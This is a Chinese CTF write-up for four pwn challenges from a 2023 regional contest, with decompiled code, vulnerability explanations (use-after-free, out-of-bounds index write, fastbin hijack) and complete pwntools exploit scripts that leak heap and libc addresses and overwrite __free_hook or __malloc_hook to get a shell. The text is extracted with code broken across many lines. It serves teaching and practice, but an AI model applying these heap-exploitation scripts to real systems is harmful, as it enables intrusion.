题目挺抽象的,好久没打比赛了十分手生,决赛加油吧
fix的话,over和artist都是加上沙箱即可。car_manager和223heap把free或者delete函数全部nop掉即可。
下面是break部分
C++的堆菜单题,抹了函数名,逆向起来有难度的话可以动调来推测功能
申请了4个0x8的堆块作为轮子放置了tire_size和tire_pressure,0x68作为车子本体,包含了make、model、year等信息,在最后放置了四个轮子的堆块指针
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
|
for
( i
=
0
; i <
=
3
;
+
+
i )
{
*
(&v10
+
i)
=
operator new(
8uLL
);
if
( tire_size )
*
*
(&v10
+
i)
=
tire_size;
if
( tire_pressure )
*
(
*
(&v10
+
i)
+
4
)
=
tire_pressure;
}
if
( year )
{
std::string::basic_string(v14, make);
std::string::basic_string(v15, model);
v1
=
operator new(
0x68uLL
);
sub_3644(v1, v14, v15, year, v10, v11, v12, v13);
v7
=
v1;
std::string::~string(v15);
std::string::~string(v14);
sub_3C48(a1, &v7);
std::operator<<<std::char_traits<char>>(&std::cout,
"Car added successfully!\n"
);
}
|
copy函数中在复制轮子时,也直接复制4个轮子的堆块指针,这导致free原本的车子堆块后新车辆轮子堆块内容不再是tire_size和tire_pressure,而变为tcache上的堆地址
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
|
__int64 __fastcall sub_3B46(_QWORD
*
a1, _QWORD
*
a2)
{
__int64 v2;
/
/
rdx
__int64 result;
/
/
rax
__int64 v4;
/
/
rdx
std::string::basic_string(a1, a2);
std::string::basic_string(a1
+
4
, a2
+
4
);
a1[
8
]
=
a2[
8
];
v2
=
a2[
10
];
a1[
9
]
=
a2[
9
];
a1[
10
]
=
v2;
result
=
a2[
11
];
v4
=
a2[
12
];
a1[
11
]
=
result;
a1[
12
]
=
v4;
return
result;
}
|
实际上实现了一个UAF漏洞,free函数的机制则是当我们free一个堆块时,会将下一个车子堆块依次回退一格,但高位仍保留
触发漏洞即可完成堆地址的泄露,利用UAF劫持tcache堆块的fd,申请到unsortbin堆块泄露libc,再次劫持fd申请到free_hook完成利用
(值得注意的是,在申请unsortbin位置堆块后导致双向链表被破坏,无法再从unsortbin里申请堆块,要控制劫持的tcache位置,满足申请一次需要的4个0x20堆块)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
|
# _*_ coding:utf-8 _*_
from
pwn
import
*
import
re
import
os, struct, random, time, sys, signal
import
hashlib
from
hashlib
import
sha256
p
=
process(
"./car_manager"
)
elf
=
ELF(
"./car_manager"
)
libc
=
elf.libc
context.log_level
=
"debug"
# info
context.arch
=
elf.arch
context.terminal
=
[
'tmux'
,
'splitw'
,
'-hp'
,
'64'
]
def
dbg(breakpoint
=
''):
elf_base
=
int
(os.popen(
'pmap {}| awk \x27{{print \x241}}\x27'
.
format
(p.pid)).readlines()[
1
],
16
)
if
elf.pie
else
0
script
=
'b *{:#x}\n'
.
format
(
int
(breakpoint)
+
elf_base)
if
isinstance
(breakpoint,
int
)
else
breakpoint
gdb.attach(p,script)
pause()
#-----------------------------------------------------------------------------------------
s
=
lambda
data :p.send(
str
(data))
sa
=
lambda
text,data :p.sendafter(text,
str
(data))
sl
=
lambda
data :p.sendline(
str
(data))
sla
=
lambda
text,data :p.sendlineafter(text,
str
(data))
r
=
lambda
num
=
4096
:p.recv(num)
ru
=
lambda
text :p.recvuntil(text)
ia
=
lambda
:p.interactive()
hs256
=
lambda
data :sha256(
str
(data).encode()).hexdigest()
l32
=
lambda
:u32(p.recvuntil(
"\xf7"
)[
-
4
:].ljust(
4
,
"\x00"
))
l64
=
lambda
:u64(p.recvuntil(
"\x7f"
)[
-
6
:].ljust(
8
,
"\x00"
))
uu32
=
lambda
:u32(p.recv(
4
).ljust(
4
,
'\x00'
))
uu64
=
lambda
:u64(p.recv(
6
).ljust(
8
,
'\x00'
))
int16
=
lambda
data :
int
(data,
16
)
lg
=
lambda
s :p.success(
'%s -> 0x%x'
%
(s,
eval
(s)))
# sc = lambda :shellcraft.amd64.linux.sh()
#-----------------------------------------------------------------------------------------
def
add(make,model,year,size,pressure):
sla(
"Please enter your choice:"
,
1
)
sla(
"Enter the make of the car: "
,make)
sla(
"Enter the model of the car: "
,model)
sla(
"Enter the year of the car: "
,year)
sla(
"Enter the size of tire : "
,size)
sla(
"Enter the pressure of tire : "
,pressure)
def
dele(idx):
sla(
"Please enter your choice:"
,
2
)
sla(
"Enter the index of the car to delete: "
,idx)
def
find(make,model,year):
sla(
"Please enter your choice:"
,
3
)
sla(
"Enter the make of the car to find: "
,make)
sla(
"Enter the model of the car to find: "
,model)
sla(
"Enter the year of the car to find: "
,year)
def
edit(idx, make, model, year, choice, tire_size, tire_pressure, tire_idx
=
None
):
sla(
"Please enter your choice:"
,
4
)
sla(
"Enter the index of the car to modify: "
,idx)
sla(
"Enter the new make of the car: "
,make)
sla(
"Enter the new model of the car: "
,model)
sla(
"Enter the new year of the car: "
,year)
sla(
"Do you want to change all tires?(1/0)"
,choice)
if
choice
=
=
1
:
sla(
"Enter the new size of tire : "
,tire_size)
sla(
"Enter the new pressure of tire : "
,tire_pressure)
else
:
sla(
"Enter the idx of tire : "
,tire_idx)
sla(
"Enter the new size of tire : "
,tire_size)
sla(
"Enter the new pressure of tire : "
,tire_pressure)
def
copy(idx):
sla(
"Please enter your choice:"
,
5
)
sla(
"Enter the index of the car to copy: "
,idx)
def
show():
sla(
"Please enter your choice:"
,
6
)
for
i
in
range
(
0x101
):
add(
'e4l4'
,i,
1999
,
0x10
,
0x10
)
copy(
0
)
copy(
255
)
dele(
0
)
show()
ru(
"Tire Sizes: 0, "
)
heap_base_2
=
int
((ru(
","
)[:
-
1
]),
10
)
lg(
'heap_base_2'
)
ru(
"Tire Pressures: 0, "
)
heap_base_1
=
int
((ru(
","
)[:
-
1
]),
10
)
lg(
'heap_base_1'
)
heap_base
=
(heap_base_1 <<
32
)
+
heap_base_2
-
0x011eb0
lg(
'heap_base'
)
unsort_heap_2
=
(heap_base
+
0x01a0b0
)&
0xffffffff
unsort_heap_1
=
(heap_base
+
0x01a0b0
)>>
32
edit(
256
,
'e4l4'
,
1
,
1999
,
1
,unsort_heap_2
+
0x10
,unsort_heap_1)
add(
'e4l4'
,
259
,
1999
,
0
,
0
)
show()
ru(
"Car 258:"
)
ru(
", "
)
libc_base_2
=
int
((ru(
","
)[:
-
1
]),
10
)
ru(
"Tire Pressures: "
)
ru(
", "
)
libc_base_1
=
int
((ru(
","
)[:
-
1
]),
10
)
libc_base
=
(libc_base_1 <<
32
)
+
libc_base_2
-
0x1ecbe0
lg(
"libc_base"
)
free_hook
=
libc_base
+
0x1eee48
system
=
libc_base
+
0x52290
sh
=
0x68732f6e69622f
dele(
257
)
show()
edit(
254
,
'e4l4'
,
1
,
1999
,
0
,free_hook&
0xffffffff
,free_hook>>
32
,
1
)
edit(
254
,
'e4l4'
,
1
,
1999
,
0
,sh&
0xffffffff
,sh>>
32
,
0
)
add(
'e4l4'
,
'e4l4'
,
1999
,system&
0xffffffff
,system>>
32
)
dele(
254
)
ia()
|
这道题漏洞挺多,关键漏洞点在于3号功能在第一次使用时,可以将一个ptr堆块地址放进buf,然后可以进入一个执行分支,输入yes可以在buf附近的位置写入0,这里可以实现任意libc地址写0,但似乎用不上。最后会执行一个对buf的0x10的写入,由于第二次开始不用再输入idx就能直接对buf进行修改,如果buf的堆块被free,就达到了一个UAF的效果
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
|
__int64 sub_1411()
{
unsigned
int
v1;
/
/
[rsp
+
8h
] [rbp
-
38h
] BYREF
int
v2;
/
/
[rsp
+
Ch] [rbp
-
34h
]
char s1[
40
];
/
/
[rsp
+
10h
] [rbp
-
30h
] BYREF
unsigned __int64 v4;
/
/
[rsp
+
38h
] [rbp
-
8h
]
v4
=
__readfsqword(
0x28u
);
v2
=
0
;
if
( isFirst )
{
write_s(
"What? Great artists need scrap paper for art?\n"
);
write_s(
"idx: \n"
);
__isoc99_scanf(
"%u"
, &v1);
buf
=
*
(&ptr
+
v1
+
4
);
isFirst
=
0
;
}
write_s(
"do you want crazy\n"
);
__isoc99_scanf(
"%3s"
, s1);
if
( !strncmp(s1,
"yes"
,
3uLL
) )
v2
=
1
;
if
( v2 )
set_0();
return
read_buf();
}
|
idx不会减少,最大为19(需要注意的是,而执行功能2当idx大于>15时程序会exit)
放置idx过大,所以利用UAF劫持申请到tcache_struct,修改tcache堆块个数,从而将堆块放入unsortbin泄露libc地址,同样的办法再劫持tcache的fd申请free_hook
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
|
# _*_ coding:utf-8 _*_
from
pwn
import
*
import
re
import
os, struct, random, time, sys, signal
import
hashlib
from
hashlib
import
sha256
# p = remote("","")
p
=
process(
"./pwn"
)
elf
=
ELF(
"./pwn"
)
libc
=
elf.libc
context.log_level
=
"debug"
# info
context.arch
=
elf.arch
context.terminal
=
[
'tmux'
,
'splitw'
,
'-hp'
,
'64'
]
def
dbg(breakpoint
=
''):
elf_base
=
int
(os.popen(
'pmap {}| awk \x27{{print \x241}}\x27'
.
format
(p.pid)).readlines()[
1
],
16
)
if
elf.pie
else
0
script
=
'b *{:#x}\n'
.
format
(
int
(breakpoint)
+
elf_base)
if
isinstance
(breakpoint,
int
)
else
breakpoint
gdb.attach(p,script)
pause()
#-----------------------------------------------------------------------------------------
s
=
lambda
data :p.send(
str
(data))
sa
=
lambda
text,data :p.sendafter(text,
str
(data))
sl
=
lambda
data :p.sendline(
str
(data))
sla
=
lambda
text,data :p.sendlineafter(text,
str
(data))
r
=
lambda
num
=
4096
:p.recv(num)
ru
=
lambda
text :p.recvuntil(text)
ia
=
lambda
:p.interactive()
hs256
=
lambda
data :sha256(
str
(data).encode()).hexdigest()
l32
=
lambda
:u32(p.recvuntil(
"\xf7"
)[
-
4
:].ljust(
4
,
"\x00"
))
l64
=
lambda
:u64(p.recvuntil(
"\x7f"
)[
-
6
:].ljust(
8
,
"\x00"
))
uu32
=
lambda
:u32(p.recv(
4
).ljust(
4
,
'\x00'
))
uu64
=
lambda
:u64(p.recv(
6
).ljust(
8
,
'\x00'
))
int16
=
lambda
data :
int
(data,
16
)
lg
=
lambda
s :p.success(
'%s -> 0x%x'
%
(s,
eval
(s)))
# sc = lambda :shellcraft.amd64.linux.sh()
#-----------------------------------------------------------------------------------------
def
add(con):
sla(
">"
,
1
)
p.sendafter(
"input some"
,con)
def
edit(idx,con):
sla(
">"
,
2
)
sla(
"idx:"
,idx)
sla(
"Would you like to make final edits?"
,
1
)
p.sendafter(
"input your content"
,con)
def
show(idx):
sla(
">"
,
2
)
sla(
"idx:"
,idx)
sla(
"Would you like to make final edits?"
,
2
)
# x/32gx $rebase(0x4088)
buf
=
0x4060
ptr
=
0x4088
sla(
"Let us get to know each other."
,
'e4l4'
)
add(
'a'
)
# 0
add(
'a'
)
# 1
add(
'a'
)
# 2
show(
2
)
show(
0
)
show(
1
)
add(
'a'
)
# 3
add(
'a'
)
# 4
sla(
">"
,
3
)
sla(
"idx:"
,
3
)
sa(
"do you want crazy"
,
'f\n'
)
sa(
"Go ahead and doodle for your artistic inspiration."
,
'a'
)
show(
3
)
ru(
"Please enjoy your masterpiece.\n"
)
heap_base
=
uu64()
lg(
"heap_base"
)
sla(
">"
,
3
)
sa(
"do you want crazy"
,
'f\n'
)
sa(
"Go ahead and doodle for your artistic inspiration."
,p64(heap_base
-
0x261
+
0x10
))
add(
'a'
)
# 5
add(
'\x00'
*
0xe
+
'\x07\x00'
)
# 6
show(
5
)
show(
4
)
edit(
6
,
'\x00'
*
0x10
)
add(
'a'
)
# 7
show(
7
)
libc_base
=
l64()
-
0x1ecc61
lg(
'libc_base'
)
free_hook
=
libc_base
+
libc.sym[
"__free_hook"
]
system
=
libc_base
+
libc.sym[
"system"
]
add(
'a'
)
# 8
add(
'a'
)
# 9
show(
8
)
show(
9
)
sla(
">"
,
3
)
sa(
"do you want crazy"
,
'f\n'
)
sa(
"Go ahead and doodle for your artistic inspiration."
,p64(free_hook))
add(
'/bin/sh\x00'
)
# 10
add(p64(system))
# dbg()
show(
10
)
ia()
|
题目看上去存在一个很复杂的算法,观察发现其3个功能都是对*(&ptr + num + 12)这个位置的值进行加减异或,而num却为int类型
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
|
__int64
*
sub_156C()
{
int
v0;
/
/
ecx
__int64
*
result;
/
/
rax
int
i;
/
/
[rsp
+
4h
] [rbp
-
4Ch
]
int
v3;
/
/
[rsp
+
8h
] [rbp
-
48h
]
int
v4;
/
/
[rsp
+
1Ch
] [rbp
-
34h
]
int
v5[
10
];
/
/
[rsp
+
20h
] [rbp
-
30h
]
unsigned __int64 v6;
/
/
[rsp
+
48h
] [rbp
-
8h
]
v6
=
__readfsqword(
0x28u
);
show(
"what do you want to choose\n"
);
v3
=
read_num();
if
( v3 >
4
)
exit(
0
);
v4
=
(
0x35DA
*
v3
-
0x4B2D
) ^
0xC925
;
for
( i
=
0
; i <
=
9
;
+
+
i )
{
v5[i]
=
(
0x35DA
*
v3) ^ v3 ^ (
0x35DA
*
v3) ^
42641
;
v5[i]
+
=
v4;
}
ptr
+
=
v4;
show(
"some add\n"
);
v0
=
*
(&ptr
+
v3
+
12
)
+
read_num();
result
=
&ptr;
*
(&ptr
+
v3
+
12
)
=
v0;
return
result;
}
|
题目开始将puts的真实地址放在了puts_addr 变量上。由于有效的输出函数无法泄露libc,这里可以控制num来修改puts_addr为system函数的真实地址,也就是puts函数的真实地址+相对偏移=system函数的真实地址,再调用4功能即可实现getshell。
num的计算可以参考汇编,0x28/4-0xc=-2
1
2
3
4
5
6
|
/
/
*
(&ptr
+
v3
+
12
)
=
v0;
.text:
0000000000001688
48
83
C0
0C
add rax,
0Ch
.text:
000000000000168C
48
8D
14
85
00
00
00
00
lea rdx, ds:
0
[rax
*
4
]
.text:
0000000000001694
48
8D
05
C5
29
00
00
lea rax, ptr
.text:
000000000000169B
89
0C
02
mov [rdx
+
rax], ecx
.text:
000000000000169E
90
nop
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
|
# _*_ coding:utf-8 _*_
from
pwn
import
*
import
re
import
os, struct, random, time, sys, signal
import
hashlib
from
hashlib
import
sha256
p
=
remote(
"172.16.9.41"
,
"8888"
)
# p = process("./pwn")
elf
=
ELF(
"./pwn"
)
libc
=
elf.libc
context.log_level
=
"debug"
# info
context.arch
=
elf.arch
context.terminal
=
[
'tmux'
,
'splitw'
,
'-hp'
,
'64'
]
def
dbg(breakpoint
=
''):
elf_base
=
int
(os.popen(
'pmap {}| awk \x27{{print \x241}}\x27'
.
format
(p.pid)).readlines()[
1
],
16
)
if
elf.pie
else
0
script
=
'b *{:#x}\n'
.
format
(
int
(breakpoint)
+
elf_base)
if
isinstance
(breakpoint,
int
)
else
breakpoint
gdb.attach(p,script)
pause()
#-----------------------------------------------------------------------------------------
s
=
lambda
data :p.send(
str
(data))
sa
=
lambda
text,data :p.sendafter(text,
str
(data))
sl
=
lambda
data :p.sendline(
str
(data))
sla
=
lambda
text,data :p.sendlineafter(text,
str
(data))
r
=
lambda
num
=
4096
:p.recv(num)
ru
=
lambda
text :p.recvuntil(text)
ia
=
lambda
:p.interactive()
hs256
=
lambda
data :sha256(
str
(data).encode()).hexdigest()
l32
=
lambda
:u32(p.recvuntil(
"\xf7"
)[
-
4
:].ljust(
4
,
"\x00"
))
l64
=
lambda
:u64(p.recvuntil(
"\x7f"
)[
-
6
:].ljust(
8
,
"\x00"
))
uu32
=
lambda
:u32(p.recv(
4
).ljust(
4
,
'\x00'
))
uu64
=
lambda
:u64(p.recv(
6
).ljust(
8
,
'\x00'
))
int16
=
lambda
data :
int
(data,
16
)
lg
=
lambda
s :p.success(
'%s -> 0x%x'
%
(s,
eval
(s)))
# sc = lambda :shellcraft.amd64.linux.sh()
#-----------------------------------------------------------------------------------------
sla(
"what is your name"
,
'/bin/sh'
)
def
add(idx,con):
sla(
"what do you want to do"
,
1
)
sla(
"what do you want to choose"
,idx)
sla(
"some add\n"
,con)
def
clean(idx,con):
sla(
"what do you want to do"
,
2
)
sla(
"what do you want to choose"
,idx)
sla(
"some add\n"
,con)
def
xor(idx,con):
sla(
"what do you want to do"
,
3
)
sla(
"what do you want to choose"
,idx)
sla(
"some add\n"
,con)
# dbg(0x153F)
clean(
-
2
,
0x032190
)
sla(
"what do you want to do"
,
4
)
ia()
|
题目一共能申请三种大小的堆块,分别存放在free/ptr/buf中(这里的free覆盖并不能达到执行函数的目的,因为free_got已经存在真实函数地址),通过切割unsortbin堆块可以获得libc地址
dele功能0/1/2分别指代buf ptr free,难点在于free(1)即free ptr时,会导致ptr_size被置为0,没有办法使用show功能,所以要注意泄露地址之前不能free(1)
由于在进行free时并不会对指针置0,可以操作指针让它们指向同一堆块,实现堆叠,利用edit功能实现UAF的利用
1
2
|
00000000006020c0
00000000009b6010
00000000009b6010
00000000006020d0
00000000009b6010
0000000000000000
|
由于2.23只能申请fastbin,所以申请0x68的堆块,劫持到malloc_hook-0x23,覆盖为one_gadget
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
|
# _*_ coding:utf-8 _*_
from
pwn
import
*
import
re
import
os, struct, random, time, sys, signal
import
hashlib
from
hashlib
import
sha256
# p = remote("","")
p
=
process(
"./pwn"
)
elf
=
ELF(
"./pwn"
)
libc
=
elf.libc
context.log_level
=
"debug"
# info
context.arch
=
elf.arch
context.terminal
=
[
'tmux'
,
'splitw'
,
'-hp'
,
'64'
]
def
dbg(breakpoint
=
''):
elf_base
=
int
(os.popen(
'pmap {}| awk \x27{{print \x241}}\x27'
.
format
(p.pid)).readlines()[
1
],
16
)
if
elf.pie
else
0
script
=
'b *{:#x}\n'
.
format
(
int
(breakpoint)
+
elf_base)
if
isinstance
(breakpoint,
int
)
else
breakpoint
gdb.attach(p,script)
pause()
#-----------------------------------------------------------------------------------------
s
=
lambda
data :p.send(
str
(data))
sa
=
lambda
text,data :p.sendafter(text,
str
(data))
sl
=
lambda
data :p.sendline(
str
(data))
sla
=
lambda
text,data :p.sendlineafter(text,
str
(data))
r
=
lambda
num
=
4096
:p.recv(num)
ru
=
lambda
text :p.recvuntil(text)
ia
=
lambda
:p.interactive()
hs256
=
lambda
data :sha256(
str
(data).encode()).hexdigest()
l32
=
lambda
:u32(p.recvuntil(
"\xf7"
)[
-
4
:].ljust(
4
,
"\x00"
))
l64
=
lambda
:u64(p.recvuntil(
"\x7f"
)[
-
6
:].ljust(
8
,
"\x00"
))
uu32
=
lambda
:u32(p.recv(
4
).ljust(
4
,
'\x00'
))
uu64
=
lambda
:u64(p.recv(
6
).ljust(
8
,
'\x00'
))
int16
=
lambda
data :
int
(data,
16
)
lg
=
lambda
s :p.success(
'%s -> 0x%x'
%
(s,
eval
(s)))
# sc = lambda :shellcraft.amd64.linux.sh()
#-----------------------------------------------------------------------------------------
def
add(size,con):
sla(
"input:"
,
1
)
sla(
"please enter size of malloc :"
,size)
p.sendafter(
"please enter contents of your heap:"
,con)
def
edit(con):
sla(
"input:"
,
4
)
sla(
"please enter what you want to edit:"
,con)
def
show():
sla(
"input:"
,
2
)
def
dele(idx):
sla(
"input:"
,
3
)
sla(
"please enter which heap you want to delete:"
,idx)
def
malloc_s():
sla(
"input:"
,
5
)
buf
=
0x6020C0
puts
=
elf.plt[
'puts'
]
add(
0x300
,p64(puts))
add(
0x38
,
'a'
)
dele(
2
)
add(
0x100
,
'a'
)
show()
libc_base
=
l64()
-
0x3c4e61
lg(
'libc_base'
)
free_hook
=
libc_base
+
0x3c67a8
malloc_hook
=
libc_base
+
libc.sym[
"__malloc_hook"
]
lg(
'free_hook'
)
one
=
libc_base
+
0x4527a
dele(
1
)
add(
0x68
,
'a'
)
dele(
2
)
edit(p64(malloc_hook
-
0x23
))
add(
0x60
,
'a'
)
add(
0x60
,
'a'
*
0x13
+
p64(one))
malloc_s()
ia()
'''
0x45226 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL
0x4527a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL
0xf03a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL
0xf1247 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
'''
|
更多【2023ciscn西南赛区pwn Writeup】相关视频教程:www.yxfzedu.com